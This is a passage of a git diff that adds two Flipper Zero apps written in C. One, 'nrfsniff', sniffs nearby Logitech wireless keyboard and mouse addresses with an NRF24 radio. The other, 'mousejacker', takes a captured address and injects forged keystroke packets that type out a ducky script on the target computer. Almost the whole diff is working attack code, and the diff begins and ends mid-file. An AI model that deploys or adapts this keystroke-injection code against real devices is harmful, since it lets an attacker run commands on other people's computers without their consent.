loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address + +char target_fmt_text[] = "Target addr: %s"; +char target_address_str[12] = "None"; +char target_text[30]; + +static void render_callback(Canvas* const canvas, void* ctx) { + const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25); + if(plugin_state == NULL) { + return; + } + // border around the edge of the screen + canvas_draw_frame(canvas, 0, 0, 128, 64); + + canvas_set_font(canvas, FontSecondary); + if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->ducky_running) { + sprintf(target_text, target_fmt_text, target_address_str); + canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text); + canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->"); + canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to "); + canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script"); + } else if(plugin_state->addr_err) { + canvas_draw_str_aligned( + canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder"); + canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file"); + canvas_draw_str_aligned( + canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file"); + canvas_draw_str_aligned( + canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!"); + } else if(plugin_state->ducky_err) { + canvas_draw_str_aligned( + canvas, 10, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder"); + canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or duckyscript file"); + canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "loading error"); + } else if(plugin_state->ducky_running) { + sprintf(target_text, target_fmt_text, target_address_str); + canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text); + canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Running duckyscript..."); + } + + release_mutex((ValueMutex*)ctx, plugin_state); +} + +static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void mousejacker_state_init(PluginState* const plugin_state) { + plugin_state->x = 50; + plugin_state->y = 30; +} + +static void hexlify(uint8_t* in, uint8_t size, char* out) { + memset(out, 0, size * 2); + for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]); +} + +static bool open_ducky_script(Stream* stream) { + DialogsApp* dialogs = furi_record_open("dialogs"); + bool result = false; + string_t path; + string_init(path); + string_set_str(path, MOUSEJACKER_APP_PATH_FOLDER); + bool ret = dialog_file_browser_show( + dialogs, path, path, MOUSEJACKER_APP_PATH_EXTENSION, true, &I_badusb_10px, false); + + furi_record_close("dialogs"); + if(ret) { + if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path)); + } else { + result = true; + } + } + string_clear(path); + return result; +} + +static bool open_addrs_file(Stream* stream) { + DialogsApp* dialogs = furi_record_open("dialogs"); + bool result = false; + string_t path; + string_init(path); + string_set_str(path, NRFSNIFF_APP_PATH_FOLDER); + bool ret = dialog_file_browser_show( + dialogs, path, path, NRFSNIFF_APP_PATH_EXTENSION, true, &I_sub1_10px, false); + + furi_record_close("dialogs"); + if(ret) { + if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path)); + } else { + result = true; + } + } + string_clear(path); + return result; +} + +static bool process_ducky_file( + ViewPort* view_port, + PluginState* plugin_state, + Stream* file_stream, + uint8_t* addr, + uint8_t addr_size, + uint8_t rate) { + size_t file_size = 0; + size_t bytes_read = 0; + uint8_t* file_buf; + bool loaded = false; + FURI_LOG_I(TAG, "opening ducky script"); + if(open_ducky_script(file_stream)) { + file_size = stream_size(file_stream); + if(file_size == (size_t)0) { + FURI_LOG_I(TAG, "load failed. file_size: %d", file_size); + return loaded; + } + file_buf = malloc(file_size); + memset(file_buf, 0, file_size); + bytes_read = stream_read(file_stream, file_buf, file_size); + if(bytes_read == file_size) { + plugin_state->ducky_running = true; + view_port_update(view_port); + FURI_LOG_I(TAG, "executing ducky script"); + mj_process_ducky_script(nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf); + FURI_LOG_I(TAG, "finished execution"); + furi_delay_ms(300); + plugin_state->ducky_running = false; + loaded = true; + } else { + FURI_LOG_I(TAG, "load failed. file size: %d", file_size); + } + free(file_buf); + } + return loaded; +} + +static bool load_addrs_file(Stream* file_stream) { + size_t file_size = 0; + size_t bytes_read = 0; + uint8_t* file_buf; + char* line_ptr; + uint8_t rate; + uint8_t addrlen = 0; + uint32_t counter = 0; + uint8_t addr[5] = {0}; + uint32_t i_addr_lo = 0; + uint32_t i_addr_hi = 0; + bool loaded = false; + FURI_LOG_I(TAG, "opening addrs file"); + addrs_count = 0; + if(open_addrs_file(file_stream)) { + file_size = stream_size(file_stream); + if(file_size == (size_t)0) { + FURI_LOG_I(TAG, "load failed. file_size: %d", file_size); + return loaded; + } + file_buf = malloc(file_size); + memset(file_buf, 0, file_size); + bytes_read = stream_read(file_stream, file_buf, file_size); + if(bytes_read == file_size) { + FURI_LOG_I(TAG, "loading addrs file"); + char* line = strtok((char*)file_buf, "\n"); + + while(line != NULL) { + line_ptr = strstr((char*)line, ","); + *line_ptr = 0; + rate = atoi(line_ptr + 1); + addrlen = (uint8_t)(strlen(line) / 2); + i_addr_lo = strtoul(line + 2, NULL, 16); + line[2] = (char)0; + i_addr_hi = strtoul(line, NULL, 16); + int32_to_bytes(i_addr_lo, &addr[1], true); + addr[0] = (uint8_t)(i_addr_hi & 0xFF); + memset(loaded_addrs[counter], rate, 1); + memcpy(&loaded_addrs[counter++][1], addr, addrlen); + addrs_count++; + line = strtok(NULL, "\n"); + loaded = true; + } + } else { + FURI_LOG_I(TAG, "load failed. file size: %d", file_size); + } + free(file_buf); + } + return loaded; +} + +int32_t mousejacker_app(void* p) { + UNUSED(p); + uint8_t addr_idx = 0; + bool ducky_ok = false; + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + + PluginState* plugin_state = malloc(sizeof(PluginState)); + mousejacker_state_init(plugin_state); + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) { + FURI_LOG_E("mousejacker", "cannot create mutex\r\n"); + free(plugin_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, render_callback, &state_mutex); + view_port_input_callback_set(view_port, input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + Storage* storage = furi_record_open("storage"); + storage_common_mkdir(storage, MOUSEJACKER_APP_PATH_FOLDER); + Stream* file_stream = file_stream_alloc(storage); + + // spawn load file dialog to choose sniffed addresses file + if(load_addrs_file(file_stream)) { + addr_idx = 0; + hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str); + plugin_state->addr_err = false; + } else { + plugin_state->addr_err = true; + } + stream_free(file_stream); + nrf24_init(); + + PluginEvent event; + for(bool processing = true; processing;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex); + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyRight: + if(!plugin_state->addr_err) { + addr_idx++; + if(addr_idx > addrs_count) addr_idx = 0; + hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str); + } + break; + case InputKeyLeft: + if(!plugin_state->addr_err) { + addr_idx--; + if(addr_idx == 0) addr_idx = addrs_count - 1; + hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str); + } + break; + case InputKeyOk: + if(!plugin_state->addr_err) { + file_stream = file_stream_alloc(storage); + nrf24_find_channel( + nrf24_HANDLE, + loaded_addrs[addr_idx] + 1, + loaded_addrs[addr_idx] + 1, + 5, + loaded_addrs[addr_idx][0], + 2, + LOGITECH_MAX_CHANNEL, + true); + ducky_ok = process_ducky_file( + view_port, + plugin_state, + file_stream, + loaded_addrs[addr_idx] + 1, + 5, + loaded_addrs[addr_idx][0]); + if(!ducky_ok) { + plugin_state->ducky_err = true; + } else { + plugin_state->ducky_err = false; + } + stream_free(file_stream); + } + break; + case InputKeyBack: + processing = false; + break; + } + } + } + } else { + FURI_LOG_D("mousejacker", "furi_message_queue: event timeout"); + // event timeout + } + + view_port_update(view_port); + release_mutex(&state_mutex, plugin_state); + } + + furi_hal_spi_release(nrf24_HANDLE); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + furi_record_close("storage"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + + return 0; +} \ No newline at end of file diff --git a/applications/mousejacker/mousejacker_ducky.c b/applications/mousejacker/mousejacker_ducky.c new file mode 100644 index 000000000..56fff941e --- /dev/null +++ b/applications/mousejacker/mousejacker_ducky.c @@ -0,0 +1,355 @@ +#include "mousejacker_ducky.h" + +static const char ducky_cmd_comment[] = {"REM"}; +static const char ducky_cmd_delay[] = {"DELAY "}; +static const char ducky_cmd_string[] = {"STRING "}; +static const char ducky_cmd_repeat[] = {"REPEAT "}; + +static uint8_t LOGITECH_HID_TEMPLATE[] = + {0x00, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +static uint8_t LOGITECH_HELLO[] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED}; +static uint8_t LOGITECH_KEEPALIVE[] = {0x00, 0x40, 0x00, 0x55, 0x6B}; + +uint8_t prev_hid = 0; + +#define RT_THRESHOLD 50 +#define LOGITECH_MIN_CHANNEL 2 +#define LOGITECH_MAX_CHANNEL 83 +#define LOGITECH_KEEPALIVE_SIZE 5 +#define LOGITECH_HID_TEMPLATE_SIZE 10 +#define LOGITECH_HELLO_SIZE 10 +#define TAG "mousejacker_ducky" + +MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0}, {"!", 30, 2}, {"\"", 52, 2}, + {"#", 32, 2}, {"$", 33, 2}, {"%", 34, 2}, + {"&", 36, 2}, {"'", 52, 0}, {"(", 38, 2}, + {")", 39, 2}, {"*", 37, 2}, {"+", 46, 2}, + {",", 54, 0}, {"-", 45, 0}, {".", 55, 0}, + {"/", 56, 0}, {"0", 39, 0}, {"1", 30, 0}, + {"2", 31, 0}, {"3", 32, 0}, {"4", 33, 0}, + {"5", 34, 0}, {"6", 35, 0}, {"7", 36, 0}, + {"8", 37, 0}, {"9", 38, 0}, {":", 51, 2}, + {";", 51, 0}, {"<", 54, 2}, {"=", 46, 0}, + {">", 55, 2}, {"?", 56, 2}, {"@", 31, 2}, + {"A", 4, 2}, {"B", 5, 2}, {"C", 6, 2}, + {"D", 7, 2}, {"E", 8, 2}, {"F", 9, 2}, + {"G", 10, 2}, {"H", 11, 2}, {"I", 12, 2}, + {"J", 13, 2}, {"K", 14, 2}, {"L", 15, 2}, + {"M", 16, 2}, {"N", 17, 2}, {"O", 18, 2}, + {"P", 19, 2}, {"Q", 20, 2}, {"R", 21, 2}, + {"S", 22, 2}, {"T", 23, 2}, {"U", 24, 2}, + {"V", 25, 2}, {"W", 26, 2}, {"X", 27, 2}, + {"Y", 28, 2}, {"Z", 29, 2}, {"[", 47, 0}, + {"\\", 49, 0}, {"]", 48, 0}, {"^", 35, 2}, + {"_", 45, 2}, {"`", 53, 0}, {"a", 4, 0}, + {"b", 5, 0}, {"c", 6, 0}, {"d", 7, 0}, + {"e", 8, 0}, {"f", 9, 0}, {"g", 10, 0}, + {"h", 11, 0}, {"i", 12, 0}, {"j", 13, 0}, + {"k", 14, 0}, {"l", 15, 0}, {"m", 16, 0}, + {"n", 17, 0}, {"o", 18, 0}, {"p", 19, 0}, + {"q", 20, 0}, {"r", 21, 0}, {"s", 22, 0}, + {"t", 23, 0}, {"u", 24, 0}, {"v", 25, 0}, + {"w", 26, 0}, {"x", 27, 0}, {"y", 28, 0}, + {"z", 29, 0}, {"{", 47, 2}, {"|", 49, 2}, + {"}", 48, 2}, {"~", 53, 2}, {"BACKSPACE", 42, 0}, + {"", 0, 0}, {"ALT", 0, 4}, {"SHIFT", 0, 2}, + {"CTRL", 0, 1}, {"GUI", 0, 8}, {"SCROLLLOCK", 71, 0}, + {"ENTER", 40, 0}, {"F12", 69, 0}, {"HOME", 74, 0}, + {"F10", 67, 0}, {"F9", 66, 0}, {"ESCAPE", 41, 0}, + {"PAGEUP", 75, 0}, {"TAB", 43, 0}, {"PRINTSCREEN", 70, 0}, + {"F2", 59, 0}, {"CAPSLOCK", 57, 0}, {"F1", 58, 0}, + {"F4", 61, 0}, {"F6", 63, 0}, {"F8", 65, 0}, + {"DOWNARROW", 81, 0}, {"DELETE", 42, 0}, {"RIGHT", 79, 0}, + {"F3", 60, 0}, {"DOWN", 81, 0}, {"DEL", 76, 0}, + {"END", 77, 0}, {"INSERT", 73, 0}, {"F5", 62, 0}, + {"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0}, + {"PAUSE", 72, 0}, {"SPACE", 44, 0}, {"UPARROW", 82, 0}, + {"F11", 68, 0}, {"F7", 64, 0}, {"UP", 82, 0}, + {"LEFT", 80, 0}}; + +/* +static bool mj_ducky_get_number(const char* param, uint32_t* val) { + uint32_t value = 0; + if(sscanf(param, "%lu", &value) == 1) { + *val = value; + return true; + } + return false; +} +*/ + +static uint32_t mj_ducky_get_command_len(const char* line) { + uint32_t len = strlen(line); + for(uint32_t i = 0; i < len; i++) { + if(line[i] == ' ') return i; + } + return 0; +} + +static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) { + //FURI_LOG_I(TAG, "looking up key %s with length %d", key, keylen); + for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) { + if(!strncmp(mj_ducky_keys[i].name, key, keylen)) { + memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey)); + return true; + } + } + + return false; +} + +static void checksum(uint8_t* payload, uint len) { + // This is also from the KeyKeriki paper + // Thanks Thorsten and Max! + uint8_t cksum = 0xff; + for(uint n = 0; n < len - 2; n++) cksum = (cksum - payload[n]) & 0xff; + cksum = (cksum + 1) & 0xff; + payload[len - 1] = cksum; +} + +static void inject_packet( + FuriHalSpiBusHandle* handle, + uint8_t* addr, + uint8_t addr_size, + uint8_t rate, + uint8_t* payload, + size_t payload_size) { + uint8_t rt_count = 0; + while(1) { + if(nrf24_txpacket(handle, payload, payload_size, true)) break; + + rt_count++; + // retransmit threshold exceeded, scan for new channel + if(rt_count > RT_THRESHOLD) { + if(nrf24_find_channel( + handle, + addr, + addr, + addr_size, + rate, + LOGITECH_MIN_CHANNEL, + LOGITECH_MAX_CHANNEL, + true) > LOGITECH_MAX_CHANNEL) + return; // fail + + rt_count = 0; + } + } +} + +static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) { + memcpy(payload, LOGITECH_HID_TEMPLATE, LOGITECH_HID_TEMPLATE_SIZE); + payload[2] = mod; + payload[3] = hid; + checksum(payload, LOGITECH_HID_TEMPLATE_SIZE); +} + +static void send_hid_packet( + FuriHalSpiBusHandle* handle, + uint8_t* addr, + uint8_t addr_size, + uint8_t rate, + uint8_t mod, + uint8_t hid) { + uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; + build_hid_packet(0, 0, hid_payload); + if(hid == prev_hid) + inject_packet( + handle, + addr, + addr_size, + rate, + hid_payload, + LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet + + prev_hid = hid; + build_hid_packet(mod, hid, hid_payload); + inject_packet(handle, addr, addr_size, rate, hid_payload, LOGITECH_HID_TEMPLATE_SIZE); + furi_delay_ms(12); +} + +// returns false if there was an error processing script line +static bool mj_process_ducky_line( + FuriHalSpiBusHandle* handle, + uint8_t* addr, + uint8_t addr_size, + uint8_t rate, + char* line, + char* prev_line) { + MJDuckyKey dk; + uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; + char* line_tmp = line; + uint32_t line_len = strlen(line); + for(uint32_t i = 0; i < line_len; i++) { + if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) { + line_tmp = &line_tmp[i]; + break; // Skip spaces and tabs + } + if(i == line_len - 1) return true; // Skip empty lines + } + + FURI_LOG_I(TAG, "line: %s", line_tmp); + + // General commands + if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) { + // REM - comment line + return true; + } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) { + // DELAY + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + uint32_t delay_val = 0; + delay_val = atoi(line_tmp); + if(delay_val > 0) { + uint32_t delay_count = delay_val / 10; + build_hid_packet(0, 0, hid_payload); + inject_packet( + handle, + addr, + addr_size, + rate, + hid_payload, + LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet + for(uint32_t i = 0; i < delay_count; i++) { + inject_packet( + handle, addr, addr_size, rate, LOGITECH_KEEPALIVE, LOGITECH_KEEPALIVE_SIZE); + furi_delay_ms(10); + } + return true; + } + return false; + } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) { + // STRING + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + for(size_t i = 0; i < strlen(line_tmp); i++) { + if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false; + + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + } + + return true; + } else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) { + // REPEAT + uint32_t repeat_cnt = 0; + if(prev_line == NULL) return false; + + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + repeat_cnt = atoi(line_tmp); + if(repeat_cnt < 2) return false; + + FURI_LOG_I(TAG, "repeating %s %d times", prev_line, repeat_cnt); + for(uint32_t i = 0; i < repeat_cnt; i++) + mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL); + + return true; + } else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) { + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid); + return true; + } else if( + strncmp(line_tmp, "GUI", strlen("GUI")) == 0 || + strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 || + strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) { + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid); + return true; + } else if( + strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 || + strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) { + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid); + return true; + } else if( + strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 || + strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) { + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 2, dk.hid); + return true; + } else if( + strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 || + strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) { + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid); + return true; + } else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) { + line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; + if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid); + return true; + } else if( + strncmp(line_tmp, "ESC", strlen("ESC")) == 0 || + strncmp(line_tmp, "APP", strlen("APP")) == 0 || + strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) { + if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) { + if(!mj_get_ducky_key("ENTER", 5, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } else if( + strncmp(line_tmp, "UP", strlen("UP")) == 0 || + strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) { + if(!mj_get_ducky_key("UP", 2, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } else if( + strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 || + strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) { + if(!mj_get_ducky_key("DOWN", 4, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } else if( + strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 || + strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) { + if(!mj_get_ducky_key("LEFT", 4, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } else if( + strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 || + strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) { + if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) { + if(!mj_get_ducky_key("SPACE", 5, &dk)) return false; + send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid); + return true; + } + + return false; +} + +void mj_process_ducky_script( + FuriHalSpiBusHandle* handle, + uint8_t* addr, + uint8_t addr_size, + uint8_t rate, + char* script) { + uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; + char* prev_line = NULL; + + inject_packet(handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE); + char* line = strtok(script, "\n"); + while(line != NULL) { + if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0; + + if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line)) + FURI_LOG_I(TAG, "unable to process ducky script line: %s", line); + + prev_line = line; + line = strtok(NULL, "\n"); + } + build_hid_packet(0, 0, hid_payload); + inject_packet( + handle, + addr, + addr_size, + rate, + hid_payload, + LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet at end +} \ No newline at end of file diff --git a/applications/mousejacker/mousejacker_ducky.h b/applications/mousejacker/mousejacker_ducky.h new file mode 100644 index 000000000..07f61cbc5 --- /dev/null +++ b/applications/mousejacker/mousejacker_ducky.h @@ -0,0 +1,31 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + char* name; + uint8_t hid; + uint8_t mod; +} MJDuckyKey; + +void mj_process_ducky_script( + FuriHalSpiBusHandle* handle, + uint8_t* addr, + uint8_t addr_size, + uint8_t rate, + char* script); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/nrfsniff/application.fam b/applications/nrfsniff/application.fam new file mode 100644 index 000000000..605f27ace --- /dev/null +++ b/applications/nrfsniff/application.fam @@ -0,0 +1,10 @@ +App( + appid="nrf_sniff", + name="[HW] NRF24: Sniffer", + apptype=FlipperAppType.PLUGIN, + entry_point="nrfsniff_app", + cdefines=["APP_NRFSNIFF"], + requires=["gui"], + stack_size=2 * 1024, + order=70, +) diff --git a/applications/nrfsniff/nrfsniff.c b/applications/nrfsniff/nrfsniff.c new file mode 100644 index 000000000..1f5a793a1 --- /dev/null +++ b/applications/nrfsniff/nrfsniff.c @@ -0,0 +1,415 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define LOGITECH_MAX_CHANNEL 85 +#define COUNT_THRESHOLD 4 +#define SAMPLE_TIME 20000 + +#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff" +#define NRFSNIFF_APP_FILENAME "addresses.txt" +#define TAG "nrfsniff" + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef struct { + int x; + int y; +} PluginState; + +char rate_text_fmt[] = "Transfer rate: %dMbps"; +char channel_text_fmt[] = "Channel: %d"; +char preamble_text_fmt[] = "Preamble: %02X"; +char sniff_text_fmt[] = "Sniffing: %s"; +char addresses_header_text[] = "Address,rate"; +char sniffed_address_fmt[] = "%s,%d"; +char rate_text[46]; +char channel_text[42]; +char preamble_text[14]; +char sniff_text[38]; +char sniffed_address[14]; + +uint8_t target_channel = 0; +uint8_t target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps) +uint8_t target_preamble[] = {0xAA, 0x00}; +uint8_t sniffing_state = false; +char top_address[12]; + +uint8_t candidates[100][5] = {0}; // top 100 recurring addresses +uint32_t counts[100]; +uint8_t total_candidates = 0; +uint8_t last_cleanup_idx = 101; // avoid replacing the last replaced addr + +static int get_addr_index(uint8_t* addr, uint8_t addr_size) { + for(int i = 0; i < total_candidates; i++) { + uint8_t* arr_item = candidates[i]; + if(!memcmp(arr_item, addr, addr_size)) return i; + } + + return -1; +} + +/* +static uint32_t get_addr_count(uint8_t* addr, uint8_t addr_size) +{ + return counts[get_addr_index(addr, addr_size)]; +} +*/ + +static uint8_t get_lowest_idx() { + uint32_t lowest = 10000; + uint8_t lowest_idx = 0; + for(uint8_t i = 0; i < total_candidates; i++) { + if(i == last_cleanup_idx) continue; + + if(counts[i] < lowest) { + lowest = counts[i]; + lowest_idx = i; + } + } + last_cleanup_idx = lowest_idx; + return lowest_idx; +} + +static uint8_t get_highest_idx() { + uint32_t highest = 0; + uint8_t highest_idx = 0; + for(uint8_t i = 0; i < total_candidates; i++) { + if(counts[i] > highest) { + highest = counts[i]; + highest_idx = i; + } + } + + return highest_idx; +} + +static void insert_addr(uint8_t* addr, uint8_t addr_size) { + uint8_t idx = total_candidates; + if(total_candidates > 99) { + // replace addr with lowest count + idx = get_lowest_idx(); + } + memcpy(candidates[idx], addr, addr_size); + counts[idx] = 1; + if(total_candidates < 100) total_candidates++; +} + +static void render_callback(Canvas* const canvas, void* ctx) { + uint8_t rate = 2; + char sniffing[] = "Yes"; + + const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25); + if(plugin_state == NULL) { + return; + } + // border around the edge of the screen + canvas_draw_frame(canvas, 0, 0, 128, 64); + canvas_set_font(canvas, FontSecondary); + + if(target_rate == 0) rate = 1; + + if(!sniffing_state) strcpy(sniffing, "No"); + + sprintf(rate_text, rate_text_fmt, (int)rate); + sprintf(channel_text, channel_text_fmt, (int)target_channel); + sprintf(preamble_text, preamble_text_fmt, target_preamble[0]); + sprintf(sniff_text, sniff_text_fmt, sniffing); + sprintf(sniffed_address, sniffed_address_fmt, top_address, (int)rate); + canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text); + canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, channel_text); + canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text); + canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, sniff_text); + canvas_draw_str_aligned(canvas, 30, 50, AlignLeft, AlignBottom, addresses_header_text); + canvas_draw_str_aligned(canvas, 30, 60, AlignLeft, AlignBottom, sniffed_address); + + release_mutex((ValueMutex*)ctx, plugin_state); +} + +static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void hexlify(uint8_t* in, uint8_t size, char* out) { + memset(out, 0, size * 2); + for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]); +} + +static bool save_addr_to_file(Storage* storage, uint8_t* data, uint8_t size) { + size_t file_size = 0; + uint8_t linesize = 0; + char filepath[42] = {0}; + char addrline[14] = {0}; + char ending[4]; + uint8_t* file_contents; + uint8_t rate = 1; + Stream* stream = file_stream_alloc(storage); + + if(target_rate == 8) rate = 2; + sprintf(ending, ",%d\n", rate); + hexlify(data, size, addrline); + strcat(addrline, ending); + linesize = strlen(addrline); + strcpy(filepath, NRFSNIFF_APP_PATH_FOLDER); + strcat(filepath, "/"); + strcat(filepath, NRFSNIFF_APP_FILENAME); + stream_seek(stream, 0, StreamOffsetFromStart); + + // check if address already exists in file + 